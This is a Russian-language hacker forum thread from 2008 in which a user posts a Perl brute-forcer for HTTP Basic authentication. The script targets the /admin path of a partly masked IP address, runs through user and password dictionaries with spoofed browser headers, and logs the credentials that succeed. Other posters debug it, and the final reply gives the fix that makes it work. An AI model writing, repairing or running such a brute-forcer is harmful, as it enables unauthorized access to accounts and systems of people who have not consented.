При компиле эррор :s

Discussion in 'PHP' started by IIAHbI4, 19 Mar 2008.

  1. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    вобщем попытался написать небольшой перловый брут форс для веб формы.Вроде бы всё нормально но при канпеляции выдаёт :

    Code:
    C:\Documents and Settings\Паныч>perl brut.pl
    [COLOR=DarkRed]syntax error at brut.pl line 13, near "=;"
    syntax error at brut.pl line 17, near "=;"[/COLOR]
    Execution of brut.pl aborted due to compilation errors.
    что не так в синтаксисе?

    Code:
    #!/usr/bin/perl 
    use MIME::Base64; 
    use IO::Socket; 
    use POSIX; 
    $server="***.***.60.23"; 
    $port="80"; 
    $dir="/admin"; 
    $logfile="sucess.log"; 
    $log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту) 
    $words="bigdict.txt"; 
    $users="users.txt"; 
    open(file, "<$words") or die print "$!\n"; 
    [COLOR=Red]@pwd_data=; [/COLOR]
    $total=@pwd_data; 
    close file; ### Записываем все пароли в один массив 
    open(file, "<$users") or die print "$!\n"; 
    [COLOR=Red]@users_data=; [/COLOR]
    $total*=@users_data; 
    close file; ### Записываем всех пользователей в один массив 
    $i=0; 
    foreach $user (@users_data) { 
       foreach $pass (@pwd_data) { 
          $i++; 
          chomp($pass); 
          chomp($user); 
          open(file, ">$log") or die print "$!\n"; 
          $perc=($i*100)/$total; 
          $perc=ceil($perc); ### Высчитываем процент 
          print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус 
          close file; 
    	$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш 
          chomp($auth); 	
    	### Порождаем сокет 
          $socket=IO::Socket::INET->new( PeerAddr => $server,   PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM) or die print "Unable to connect to $server:$port\n"; 
          print $socket "GET $dir HTTP/1.1\n"; 
          print $socket "Host: $server\n"; 
          print $socket "Accept: */*\n";    
          print $socket "Referer: http://support.microsoft.com/\n"; 
          print $socket "User-Agent: Internet Explorer 6.0\n"; 
          print $socket "Pragma: no-cache\n"; 
          print $socket "Cache-Control: no-cache\n"; 
          print $socket "Authorization: Basic $auth\n"; 
          print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш 
    
          $ans=<$socket>; ### Получаем ответ от сервера 
        
           
          if ($ans=~/200 Ok/i or $ans=~/301/i) { 
             open(logf, ">>$logfile") or die print "$!\n"; ### пишем в success-лог 
             print logf "$user:$pass is OK!!!\n"; 
             close logf; 
          } 
          close($socket); 
       } 
    } 
    _____________________________________________
    maby yes or maby not, а мне по*** я .:ЕноТ:.
     
    1 person likes this.
  2. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    @pwd_data=();
    @users_data=();
    Наверное, все таки, так =))))
    Получалось так, что ты приравниваещь к чему-то, а к чему непонятно(точнее к ; ) =))
    ЗЫЖ Можно просто my @pwd_data; и my @users_data;
    И совет небольшой: юзай в скриптах use warnings и use strict;
     
    #2 biophreak, 19 Mar 2008
    Last edited: 19 Mar 2008
  3. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    Code:
    @pwd_data='';
    @users_data='';
     
  4. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    хуя исис хакер... а почему так?
     
  5. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    попробовал и те и другие операторы ... ниху* ... не реагирует вообще никак.

    разобрался в чём косяк, но тепер ьскрипт не брутит :\
    создаёт 2 файла now и sucess пустые.Хотя в нау.тхт должен быть лог а там 100% Done 1 of 1 Now: :
     
    #5 IIAHbI4, 19 Mar 2008
    Last edited: 19 Mar 2008
  6. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    А если заменить запись в файл на простой print - будет чтонить на экран писать?
     
  7. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    да он не брутит помоему... ладн прийду после работы почикаюсь с ним.Будут идеи ложите сюда.
     
  8. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    ыы

    мб так?

    my @pwd_data;
    my @users_data;
     
  9. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    неа ... мда .... херня какайто.
     
  10. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    никак не могу до ума довести, помогёт ктонить?
     
  11. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Дык эт-та
    Code:
    open(file, "<$words") or die print "$!\n"; 
    @pwd_data=; 
    $total=@pwd_data; 
    close file; ### Записываем все пароли в один массив 
    open(file, "<$users") or die print "$!\n"; 
    @users_data=; 
    $total*=@users_data; 
    close file; ### Записываем всех пользователей в один массив 
    
    если массивы @pwd_data и @users_data предполагается заполнить данными из файлов (соответственно, пароли и список возможных пользователей), то код такой должен быть
    Code:
    open(file, "<$words") or die print "$!\n"; 
    @pwd_data=<file>;
    $total=@pwd_data; 
    close file; ### Записываем все пароли в один массив 
    open(file, "<$users") or die print "$!\n"; 
    @users_data=<file>; 
    $total*=@users_data; 
    close file; ### Записываем всех пользователей в один массив